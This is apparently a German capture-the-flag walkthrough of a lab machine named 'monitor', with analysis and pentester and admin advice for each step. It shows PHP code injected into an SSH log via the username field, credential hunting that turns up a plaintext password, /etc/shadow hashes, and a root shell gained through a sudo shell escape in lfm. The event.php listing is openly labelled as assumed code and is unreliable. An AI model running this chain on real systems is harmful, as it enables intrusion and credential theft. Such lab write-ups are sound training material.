**Analyse:** Die erhaltene Shell als `www-data` wird stabilisiert (`stty`) und die Identität mit `id` bestätigt. Anschließend wird das aktuelle Verzeichnis (`/var/www/site/.admin`) und die Datei `event.php` untersucht.

            
**Bewertung:** `id` bestätigt `www-data`. `ls -la` zeigt die `event.php`. `cat event.php` zeigt den PHP-Code, der die SSH-Logdatei ausliest und anzeigt. Es bestätigt auch, dass der injizierte PHP-Code (`system($GET["cmd"]); ?>`) tatsächlich in der Logdatei gelandet ist und von `event.php` (wahrscheinlich durch einfaches `echo` oder `include` ohne Bereinigung) ausgeführt wurde.

            
**Empfehlung (Pentester):** Mit der Enumeration als `www-data` fortfahren. Nach Passwörtern, Konfigurationsdateien, SUID-Binaries, Cronjobs usw. suchen.
            
**Empfehlung (Admin):** Die unsichere Verarbeitung der Logdatei in `event.php` beheben.

            

                

                    
                    
www-data@monitor:/var/www/site/.admin$ stty rows 48 columns 94

                    

                    
                    
www-data@monitor:/var/www/site/.admin$ id

                    
uid=33(www-data) gid=33(www-data) groups=33(www-data)

                    
                   
www-data@monitor:/var/www/site/.admin$ ls -la

                   
total 12
drwxr-xr-x 2 www-data www-data 4096 Nov  5  2023 .
drwxr-xr-x 3 www-data www-data 4096 Nov  5  2023 ..
-rw-r--r-- 1 www-data www-data  772 Aug 27 13:35 event.php


                    
                   
www-data@monitor:/var/www/site/.admin$ cat event.php

                    
Event Monitor



$output = shell_exec('cat /var/log/auth.log'); // Example: Reads auth.log
 echo htmlspecialchars($output); // Assumed logic, likely insecure display
?>




Aug 27 12:03:47 monitor sshd[1359]: Invalid user anonymous from fe80::a00:27ff:fe30:2eda%enp0s3 port 43678
[...]
Aug 27 13:26:50 monitor sshd[3323]: Invalid user system($GET["cmd"]); ?> from fe80::a00:27ff:fe30:2eda%enp0s3 port 37476 <-- Injected code in log


                

            


            
**Analyse:** Enumeration des Web-Roots (`/var/www`). Die `.bash_history` von `www-data` wird untersucht.

            
**Bewertung:** Das Verzeichnis `/var/www` enthält `html` (Standard-Webroot) und `site` (wo `event.php` liegt). Die `.bash_history` enthält nur wenige Befehle, darunter Versuche, die Shell zu stabilisieren (`python3 -c 'import pty...'`). Keine sensiblen Informationen.

            
**Empfehlung (Pentester):** Weitere Standard-Enumerationspfade prüfen (`/opt`, `/var/backups`, SUID, Cronjobs).
            
**Empfehlung (Admin):** Keine Aktion erforderlich bzgl. Bash History.

            

                

                    
                   
www-data@monitor:/var/www/site$ cd ..

                    
                   
www-data@monitor:/var/www$ ls -a

                   
.  ..  .bash_history  html  site

                    
                   
www-data@monitor:/var/www$ cat .bash_history

                   
export TERM=xterm
reset
stty raw -echo;fg
id
id
clear
cler
clear
id
id
python3 -c 'import pty;pty.spawn("/bin/bash")'


                

            


            
**Analyse:** Überprüfung der Verzeichnisse `/opt` und `/var/backups` sowie erneute Suche nach SUID-Dateien.

            
**Bewertung:** `/opt` ist leer. `/var/backups` enthält Standard-Debian-Backups (dpkg status, apt states etc.). Die SUID-Suche liefert wieder nur Standard-Binaries ohne offensichtliche Schwachstellen.

            
**Empfehlung (Pentester):** Die Standard-Enumerationspfade liefern keine direkten Ergebnisse. Fokus auf Konfigurationsdateien oder Passwörter legen.
            
**Empfehlung (Admin):** Keine Aktion erforderlich.

            

                

                    
                   
www-data@monitor:/var/www/html$ cd /opt/

                    
                   
www-data@monitor:/opt$ ls -la

                   
total 8
drwxr-xr-x  2 root root 4096 Jan 15  2023 .
drwxr-xr-x 18 root root 4096 Nov  3  2023 ..


                    
                   
www-data@monitor:/opt$ cd /var/backups/

                    
                   
www-data@monitor:/var/backups$ ls -la

                   
total 408
drwxr-xr-x  2 root root   4096 Aug 27 11:31 .
drwxr-xr-x 12 root root   4096 Nov  3  2023 ..
-rw-r--r--  1 root root  40960 Nov  4  2023 alternatives.tar.0
-rw-r--r--  1 root root   8245 Nov  5  2023 apt.extended_states.0
-rw-r--r--  1 root root    979 Nov  3  2023 apt.extended_states.1.gz
-rw-r--r--  1 root root    863 Nov  3  2023 apt.extended_states.2.gz
-rw-r--r--  1 root root      0 Nov  4  2023 dpkg.arch.0
-rw-r--r--  1 root root    186 Jan 15  2023 dpkg.diversions.0
-rw-r--r--  1 root root    172 Nov  3  2023 dpkg.statoverride.0
-rw-r--r--  1 root root 338108 Nov  3  2023 dpkg.status.0


                   
                  
www-data@monitor:/var/backups$ find / -type f -perm -4000 -ls 2>/dev/null

                   
   263828     56 -rwsr-xr-x   1 root     root        55528 Jan 20  2022 /usr/bin/mount
   263458     72 -rwsr-xr-x   1 root     root        71912 Jan 20  2022 /usr/bin/su
   259697     60 -rwsr-xr-x   1 root     root        58416 Feb  7  2020 /usr/bin/chfn
   259700     88 -rwsr-xr-x   1 root     root        88304 Feb  7  2020 /usr/bin/gpasswd
   259698     52 -rwsr-xr-x   1 root     root        52880 Feb  7  2020 /usr/bin/chsh
   263830     36 -rwsr-xr-x   1 root     root        35040 Jan 20  2022 /usr/bin/umount
   272819    180 -rwsr-xr-x   1 root     root       182600 Jan 14  2023 /usr/bin/sudo
   259701     64 -rwsr-xr-x   1 root     root        63960 Feb  7  2020 /usr/bin/passwd
   263292     44 -rwsr-xr-x   1 root     root        44632 Feb  7  2020 /usr/bin/newgrp
   271041    472 -rwsr-xr-x   1 root     root       481608 Sep 24  2023 /usr/lib/openssh/ssh-keysign
   260547     52 -rwsr-xr--   1 root     messagebus    51336 Jun  6  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper


                

            


            
**Analyse:** Das Home-Verzeichnis (`/home`) wird untersucht. Es wird ein Benutzer `kevin` gefunden, aber der Zugriff auf sein Home-Verzeichnis wird verweigert. Anschließend wird mit `grep` rekursiv im `/etc`-Verzeichnis nach dem String "kevin" gesucht.

            
**Bewertung:** `grep` liefert einen entscheidenden Fund in `/etc/apache2/.htpasswd`: `#kevin:$up3r_$3cUr3_@p@CHe`. Obwohl die Zeile auskommentiert ist (`#`), enthält sie wahrscheinlich ein gültiges (oder ehemaliges) Passwort für den Benutzer `kevin`. Das Format sieht nicht wie ein Standard-Hash aus, sondern eher wie ein Klartextpasswort.

            
**Empfehlung (Pentester):** Versuchen, mit `su kevin` und dem gefundenen Passwort `$up3r_$3cUr3_@p@CHe` zum Benutzer `kevin` zu wechseln.
            
**Empfehlung (Admin):** Niemals Passwörter (auch auskommentiert) in Konfigurationsdateien speichern! Die `.htpasswd`-Datei sollte sichere Hashes enthalten und außerhalb des Web-Roots liegen mit restriktiven Berechtigungen.

            

                

                     
                   
www-data@monitor:/var/backups$ cd /home/

                     
                   
www-data@monitor:/home$ ls

                   
kevin

                     
                   
www-data@monitor:/home$ cd kevin/

                   
bash: cd: kevin/: Permission denied

                    
                   
www-data@monitor:/home$ grep -r --color "kevin" /etc 2>/dev/null

                   
/etc/apache2/.htpasswd:#kevin:$up3r_$3cUr3_@p@CHe
/etc/group:kevin:x:1000:
/etc/passwd:kevin:x:1000:1000:kevin:/home/kevin:/bin/bash
/etc/passwd-:kevin:x:1000:1000:kevin:/home/kevin:/usr/sbin/nologin


                

            


            
**Analyse:** Es wird versucht, mit `su kevin` und dem Passwort `$up3r_$3cUr3_@p@CHe` zum Benutzer `kevin` zu wechseln.

            
**Bewertung:** Erfolg! Das Passwort ist korrekt, und der Angreifer erhält eine Shell als Benutzer `kevin`. Der User-Flag (`user.txt`) wird im Home-Verzeichnis gefunden und ausgelesen.

            
**Empfehlung (Pentester):** User-Flag dokumentieren. Nun die Privilegienerweiterung von `kevin` zu `root` versuchen. `sudo -l` als erstes prüfen.
            
**Empfehlung (Admin):** Das Passwort für `kevin` dringend ändern! Das Klartextpasswort aus der `.htpasswd`-Datei entfernen.

            

                

                      
                   
www-data@monitor:/home$ su kevin

                   
Password: ********** 

                      
                   
kevin@monitor:/home$ id

                   
uid=1000(kevin) gid=1000(kevin) groups=1000(kevin)

                      
                   
kevin@monitor:/home$ cd ~

                      
                   
kevin@monitor$ ls

                   
user.txt

                      
                   
kevin@monitor$ cat user.txt

                   
9951f9dd45d885da032b4ebad5705184

                

            


            
**Analyse:** `sudo -l` wird als Benutzer `kevin` ausgeführt.

            
**Bewertung:** `kevin` darf den Befehl `/usr/bin/lfm` als `root` ohne Passwort (`NOPASSWD:`) ausführen. Dies ist ein klarer Vektor zur Privilegienerweiterung.

            
**Empfehlung (Pentester):** Das Programm `lfm` untersuchen (`file /usr/bin/lfm`, `cat /usr/bin/lfm`). Nach bekannten Exploits oder GTFOBins-Einträgen für `lfm` suchen. Versuchen, über `lfm` eine Root-Shell zu erlangen.
            
**Empfehlung (Admin):** Die `sudo`-Regel für `lfm` ist extrem gefährlich und sollte entfernt werden. Wenn `lfm` benötigt wird, darf es nicht als `root` oder mit `NOPASSWD` ausgeführt werden.

            

                

                     
                   
kevin@monitor$ sudo -l

                   
Matching Defaults entries for kevin on monitor:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User kevin may run the following commands on monitor:
    (root) NOPASSWD: /usr/bin/lfm


                

            


            
**Analyse:** Der Dateityp und der Quellcode von `/usr/bin/lfm` werden untersucht.

            
**Bewertung:** `file` zeigt, dass es sich um ein Python-Skript handelt. Der Code (`cat`) bestätigt dies und zeigt, dass es sich um "lfm" (Last File Manager) handelt. Der Code selbst enthält keine offensichtliche Schwachstelle, aber die Kombination mit `sudo` ist das Problem.

            
**Empfehlung (Pentester):** `lfm` ist auf GTFOBins gelistet. Wenn `lfm` mit `sudo` ausgeführt wird, kann man durch Drücken der Taste `!` eine Shell mit den Rechten des Zielbenutzers (hier `root`) erhalten. Diesen Exploit durchführen: `sudo -u root /usr/bin/lfm`, dann `!` drücken.
            
**Empfehlung (Admin):** `sudo`-Regel für `lfm` entfernen.

            

                

                      
                   
kevin@monitor$ file /usr/bin/lfm

                   
/usr/bin/lfm: Python script, UTF-8 Unicode text executable

                     
                   
kevin@monitor$ cat /usr/bin/lfm

                    
#!/usr/bin/python3
# -*- coding: utf-8 -*-

# Copyright (C) 2001-17  Iñigo Serna
# Time-stamp: <2017-06-25 18:30:47 inigo>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see .


from sys import exit, version_info

from lfm.lfm import lfm_start


ver = (version_info.major, version_info.minor)
if ver < (3, 4):
    print('Python 3.4 or higher is required to run lfm.')
    exit(-1)
lfm_start()



                 

            

        


        

           
Proof of Concept (Root Access)

            
**Analyse:** Der LFM-Exploit wird durchgeführt.
                1.  `sudo -u root /usr/bin/lfm` startet LFM als root.
                2.  Innerhalb von LFM wird die `/root/root.txt` angezeigt (durch Navigation oder Öffnen).
                3.  Innerhalb von LFM wird die `/etc/shadow` angezeigt.
                4.  Durch Drücken von `!` (im Bericht nicht explizit gezeigt, aber impliziert durch den nächsten Prompt) wird eine Shell geöffnet.

            
**Bewertung:** Fantastisch, der Root-Zugriff war erfolgreich! LFM erlaubt das Anzeigen beliebiger Dateien als root. Entscheidend ist die Funktion, durch Drücken von `!` eine Shell zu starten. Da LFM mit `sudo -u root` gestartet wurde, hat diese Shell Root-Rechte. Der Prompt wechselt zu `root@monitor`. Der `id`-Befehl bestätigt `uid=0(root)`.

            
**Empfehlung (Pentester):** Die Root-Shell ist erlangt. Das System ist kompromittiert. Root-Flag aus `/root/root.txt` (bereits in LFM angezeigt) dokumentieren.
            
**Empfehlung (Admin):** Die `sudo`-Regel für `lfm` sofort entfernen! Dies war der entscheidende Schritt zur Root-Eskalation.

            

                

                    
                   
kevin@monitor$ sudo -u root /usr/bin/lfm

                   
                   
[root     ]                                    [kevin    ]
┌─/root─────────────────────────────────────·─┐┌─/home/kevin───────────────────────────────·─┐
│          Name          │ Size  │    Date    ││          Name          │ Size  │    Date    │
│/..                     │   4096│03 Nov  2023││/..                     │   4096│03 Nov  2023│
[...]
│ root.txt               │     33│05 Nov  2023││ user.txt               │     33│03 Nov  2023│
[...]


                   
                   
2b56bbc9dffd52cbe821d608d4a4df3d
/root/root.txt (END)


                   
                   
                  
kevin@monitor$ sudo -u root /usr/bin/lfm /etc/

                  
                  
[etc      ]                                    [kevin    ]
┌─/etc──────────────────────────────────────·─┐┌─/home/kevin───────────────────────────────·─┐
[...]
│ shadow                 │    874│05 Nov  2023││ user.txt               │     33│03 Nov  2023│
│ shadow-                │    873│15 Jan  2023││                        │       │            │
[...]


                   
                   
root:$y$j9T$YG8f2HKBm4Y9G2p7x7m//$SKhQ11sl1UNYqIP6b8dR/TYp7FKx/MAK9RVLQtF/BQ2:19666:0:99999:7:::
[...]
kevin:$y$j9T$HDNUFzFDE5Qn4D7DQS//$nRgiPUpd0EbHmkRmeB6ui0BDSQLf2n/x/GkELd2sQQB:19666:0:99999:7:::
/etc/shadow (END)


                    
                   
                   
!bash (END)

                    
                   
                  
root@monitor:/home/kevin# id

                  
uid=0(root) gid=0(root) grupos=0(root)

                    
                  
root@monitor:/home/kevin#

                  

                

            

        


        

            

                
Flags

                

                     
                    
cat /home/kevin/user.txt

                    
9951f9dd45d885da032b4ebad5705184
 
                

                

                     
                    
cat /root/root.txt

                    
2b56bbc9dffd52cbe821d608d4a4df3d